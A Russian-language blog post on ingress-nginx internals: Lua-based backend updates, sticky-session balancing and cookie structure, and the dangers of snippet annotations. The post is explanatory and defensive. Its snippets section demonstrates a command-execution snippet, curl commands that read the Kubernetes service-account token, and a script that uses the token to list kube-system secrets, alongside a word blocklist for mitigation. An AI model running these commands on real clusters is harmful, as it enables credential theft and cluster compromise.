В первой части мы разобрались с принципами работы Ingress-nginx контроллера. Теперь пришло время углубиться в то, как в Ingress-nginx устроен механизм обновления бэкендов и как реализована балансировка нагрузки на примере sticky sessions. Готовы узнать больше? Поехали!

Напомню, если вдруг забыли, эта статья написана по мотивам выступления на DevOpsConf’25, а меня зовут Алексей Колосков, я Lead DevOps из Hilbert Team

Итак, рассмотрим, как реализовано обновление бэкендов в самом контроллере.

Реализация обновления бэкендов

Как вы узнали из предыдущей части статьи, обновление содержимого блока upstream происходит без перечитывания конфигурационного файла nginx.

Реализовано это следующим образом:

  • Контроллер получает эндпоинты сервисов,

  • Затем отправляет этот список LUA-обработчику через POST-запрос на порт 10246.

На картинке ниже представлен кусок отрендеренного конфига нашего nginx:

Здесь мы  видим блок server, который слушает порт 10246.

В этом блоке server есть location /configuration, который все запросы на /configuration передаёт LUA-обработчику, код которого расположен в файле /etc/nginx/lua/nginx/ngx_conf_configuration.lua в контейнере с ingress-nginx контроллером.

Заглянем в этот файл.

Как видим, здесь подгружается LUA модуль configuration и выполняется функция call.

Так как мы хотим понять, как именно происходит обновление бэкендов, давайте найдём блок кода, который отвечает за обработку запросов к configuration/backends.

В этом блоке мы видим, что вызывается функция handle_backends.

Эта функция получает из тела POST-запроса список бэкендов и далее сохраняет этот список в configuration_data для дальнейшей работы с ним из других модулей.

Как часто может обновляться такой список? У  Ingress-контроллера есть параметр sync-rate-limit, определяющий предел частоты таких обновлений, это 0,3 секунды.

Итак, мы определили список бэкендов, куда балансировать запросы. Дальше давайте разберемся непосредственно с самой балансировкой.

Балансировка

Чтобы выяснить, как именно работает балансировка, возьмём пример со sticky-сессиями.

Напомню, sticky-сессия в простейшем виде — это когда запросы от одного и того же клиента балансируются на один и тот же эндпоинт (под).

Включить sticky-сессии можно задеплоив ресурс Ingress со следующими аннотациями:

В примере в Specification Rules добавлен host name (sticky.dc25.example.corp) и заданы аннотации, которые как раз и отвечают за включение sticky-сессий. Это affinity: cookie и affinity-mode: persistent.

В результате в конфиге nginx будет сгенерирован следующий блок server:

В этом блоке задан server_name sticky.dc25.example.corp. В location запрос будет перенаправлен на upstream, который называется upstream_balancer. Имя upstream_balancer никак не привязано к имени какого-либо сервиса, давайте разберем почему.

Посмотрим, что внутри данного блока upstream:

Здесь видим блок, который передает запрос LUA-обработчику в файле /etc/nginx/lua/nginx/ngx_conf_balancer.lua. Таким же образом в этот блок upstream будут передаваться все HTTP-запросы, поступающие на инстанс ingress-nginx контроллера.

Посмотрим, как именно обрабатываются эти запросы, заглянув в файл /etc/nginx/lua/nginx/ngx_conf_balancer.lua

В нем мы видим, что подгружается  модуль balancer и вызывается функцию balance()

Посмотрим, что делает эта функция:

Здесь часть кода скрыта, но ключевые моменты подсвечу.

Сначала обработчик определяет какой алгоритм балансировки использовать. Для этого используется функция get_balancer(), которая получает экземпляр балансировщика.

Она получает этот экземпляр так:

Берёт название бэкенда из имени upstream, что было указано в параметре server_name блока server в nginx.conf (local backend_name = ngx.var.proxy_upstream_name). Далее экземпляр balancer выбирается в зависимости от имени бэкенда из списка балансировщиков (local balancer = balancers[backend_name]). Этот список формируется  с помощью функции sync_backend.

Обработчик получает конкретную имплементацию балансировщика. Самое интересное, как он это делает.

Но сначала немного теории: ingress-nginx поддерживает два режима балансировки для sticky-cессий. Это balanced и persistent. Разница между ними в том, что в случае с sticky_balanced, при добавлении новых эндпоинтов, происходит ребалансировка. То есть уже существующие клиенты перераспределяются между всеми эндпоинтами. В случае же sticky_persistent, на новые эндпоинты отправляются только новые клиенты.

Теперь давайте посмотрим в код функции get_implementation(), которая получает тип балансироваки из конфигурации ресурса Ingress.

Напомню, что мы создали аннотацию с affinity: cookie и affinity-mode: persistent. По коду видно, что мы проверяем значение affinity-mode  только на наличии значения persistent. Если в affinity-mode не указан persistent, то по умолчанию будет выбран тип балансировки sticky_balanced.

Определились с именем типа балансировки, и дальше из списка реализаций выбираем по этому имени соответствующий LUA-модуль.

Так выглядит полный список из шести доступных реализаций, каждая из которых расположена в отдельном файле:

Итак, экземпляр балансировщика мы получили. 

Теперь посмотрим как реализовано получение эндпоинта, на который балансировать трафик. Вернемся к функции balance() модуля balancer.lua. Выбор эндпоинта реализован вызовом функции balancer:balance().

Ранее мы выяснили, что в нашем случае будет использоваться тип балансировки sticky_persistent (код с реализацией расположен в файле sticky_persistent.lua). Общие функции для sticky_persistent и sticky_balanced расположены в файле sticky.lua, в том числе и реализация функции balance(). Посмотрим что она делает:

Первым делом выполняется попытка получить из HTTP-запроса cookie и извлечь из этого cookie эндпоинт, на который отправлять данный запрос.

Но если извлечь cookie не удалось, то будет выбран новый эндпоинт и сохранён в новом cookie.

Посмотрим, как cookie создаётся, из чего состоит, и как мы можем влиять на то, к какому эндпоинту на оброаботку попадёт наш запрос.

Создаётся он в функции set_cookie(), в которой мы можем найти структуру данных нашей cookie.

Она состоит из трех элементов:

  1. value – хэш эндпоинта, который выбран для балансировки трафика.

  2. Разделитель – это вертикальная черта. Задано константой: local COOKIE_VALUE_DELIMITER = "|".

  3. backend_key — хэш от имени бэкенда, который формируется на основе имени сервиса.

Посмотрим, как выглядит сам cookie в реальной жизни:

"INGRESSCOOKIE":"1732977967.415.26.789579|83d0b1558537830b973a46ddb80557ff"

По умолчанию имя cookie — INGRESSCOOKIE. При желании его можно изменить. Первая часть cookie – хэш эндпоинта (выглядит почти как IP-адрес, но это не он 🙂).

Затем следует разделитель.

И вторая часть cookie — ключ бэкенда (backend_key).

От себя хочу добавить, что пробовал экспериментировать с подменой cookie. На какой под реально уйдёт в итоге ваш запрос, влияет только первая часть cookie, вторая часть, даже если её изменить, — нет. 

Мы узнали, как ingress-nginx определяет, на какой эндпоинт балансировать трафик. На этом с этой функцией закончили.

Посмотрим, что происходит с запросом дальше.

А дальше LUA-обработчик передает запрос обратно nginx, где тот уже самостоятельно отправляет его по адресу эндпоинта.

С балансировкой разобрались. А теперь, для тех, кто добрался до этого момента,  в качестве вишенки на торте — бонус про сниппеты.

Сниппеты

Сниппеты — кусочки конфигурации nginx, которые мы можем задать с помощью аннотаций при деплое ресурса Ingress. Определить, в какое место конфигурационного файла nginx.conf попадет сниппет, зависит от того с помощью какой аннотации он задан.

Давайте разберем подробнее:

  • Блок: location { ... }
    Аннотация: nginx.ingress.kubernetes.io/configuration-snippet

  • Блок: server { ... }
    Аннотация: nginx.ingress.kubernetes.io/server-snippet

  • Блок: stream { ... }
    Аннотация: nginx.ingress.kubernetes.io/stream-snippet

  • Блок: modsecurity { ... }
    Аннотация: nginx.ingress.kubernetes.io/modsecurity-snippet

Однако по умолчанию сниппеты отключены. В некоторых компаниях они вообще запрещены политикой безопасности. И не спроста.

Так, например, в репозитории k8s есть достаточно старый issue от 2021 года, в котором вы найдете одну из причин, почему сниппеты лучше не использовать. Но знаю, не все пойдут читать issue, поэтому покажу на примере.

Чтобы получать список ресурсов Ingress, nginx-контроллер использует сервисный аккаунт (k8s ServiceAccount). Для определения прав доступа сервисного аккаунта к ресурсам кластера, создается ClusterRole. Данная ClusterRole, помимо прочего, позволяет просматривать список всех ресурсов, которые в ней определены, и которые  контроллер использует для формирования конфигурации nginx.

Среди ресурсов, которые использует контроллер, есть и секреты (secrets). При этом среди разрешенных типов доступа к ресурсам присутствует право list, которое разрешает не только просмотр списка ресурсов, но и их  содержимого.  То есть потенциально мы можем получить доступ ко всем секретам кластера, к которым контроллер может обращаться согласно данной ClusterRole.

Предположим, вы — бесстрашный человек, которому всё же очень нужны сниппеты. И вы решили их включить.

Тогда, во-первых, вы должны задать allowSnippetAnnotations: "true", чтобы разрешить использовать аннотации со сниппетами. Однако этого будет недостаточно. Есть также параметр annotations-risk-level, который по умолчанию имеет значение high, что не разрешает использование сниппетов. Поэтому нужно задать для него значение critical

Здесь явно указано, что это критично, и лучше этого не делать. Но мы очень хотим, и включаем сниппеты, ведь у нас нет страха, только слабоумие и отвага.

Давайте представим. Условный джун задал условному ChatGPT вопрос, как фичу какую-нибудь настроить, например сайт опубликовать. Условный ChatGPT ему ответил: «Такой сниппет добавь, и у тебя будет всё хорошо».

Джун добавляет этот сниппет. В результате в nginx.conf добавится новый location /snippet-hole/:

В этом location выполняется LUA-код, который:

  1. Возьмёт из HTTP-заголовка cmd команду, которую мы можем передать в HTTP-запросе, 

  2. Выполнит её от имени nginx, в поде с ingress-контроллером,

  3. Результат сохранит в переменную rsfile,

  4. Прочитает ее значение как строку и сохранит в другую переменную (rschar),

  5. Вернет результат выполнения нашей команды в HTTP-ответе на запрос.

С помощью такого сниппета мы можем, например, получить токен сервисного аккаунта, который использует ingress-nginx для получения доступа к ресурсам кластера. Сделать это можно, выполнив:

curl http://sticky.dc25.corp/snippet-hole/ \

  -H 'cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token'

«Курлим» наш host_name, location, передаём в заголовке cmd команду cat и путь к файлу с секретом с токеном сервисного аккаунта.

И вот, готово: токен получили.

С помощью этого токена можно, например, получить все секреты из namespace kube-system (или любого другого). Для этого достаточно выполнить простой скрипт:

export APISERVER="https://XX.XX.XX.XX"

export TOKEN="$(curl -s http://sticky.dc25.corp/snippet-hole/ -H 'cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token')"

curl -k -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" | jq -rM '.items[].metadata.name'

Где XX.XX.XX.XX - это ip-адрес k8s api.

В скрипте мы:

  1. получаем токен сервисного аккаунта в переменную TOKEN

  2. Используя curl выполняем запрос к API k8s, авторизуемся с использованием этого токена, и получаем все секреты в нэймспейсе kube-system.

На выходе получим примерно следующую структуру данных:

В примере видна закрытая часть SSL сертификата. Что дальше с этим сделать, придумайте сами 🙃

Сниппеты: как защититься?

Так что же делать? Самое верное решение — не использовать сниппеты. Но если без сниппетов никак, то вот несколько способов снизить риски от их использования:

Параметр annotation-value-word-blocklist

Значение по умолчанию пустое:

default: ""

Однако в документации есть пример, который позволит вам его хоть как-то заполнить:

suggested: "load_module,lua_package,_by_lua,location,root,proxy_pass,serviceaccount,{,},',\"" 

Namespaced ingress-nginx

Можно использовать namespaced ingress-nginx, чтобы доступ у контроллера был только в рамках одного namespace. Но не всем подходит такая конфигурация — она может быть неудобна или неприменима в вашей инфраструктуре.

Ревью кода

Очень полезно всё деплоить как код и пропускать через ревью. Это позволит отсеять творчество усл��вных джунов (а также позволит немного снизить bus factor).

Policy engine

Использовать policy engine типа kyverno и самостоятельно реализовать политики для валидации аннотаций.

Выводы

Итак, мы погрузились в детали работы Ingress-nginx контроллера, изучив его внутреннюю кухню.

Мы выяснили, как в Ingress-nginx динамически обновляется блок upstream  без перезагрузки конфигурации Nginx.

Затем мы детально разобрали механизм балансировки нагрузки на примере sticky-сессий.

А также мы рассмотрели сниппеты — мощный, но крайне опасный инструмент. Мы увидели, как некорректное использование сниппетов может привести к серьезным уязвимостям, позволяя получить доступ к конфиденциальным данным кластера.

Спасибо, что дочитали мою статью до конца, но если вам хочется больше эмоций и вы лучше воспринимаете информацию на слух, то вот ссылка на мое выступление на DevOpsConf 2025, по мотивам которого была написана эта серия статей. Не пропустите новый сезон конференции, следите за обновлениями!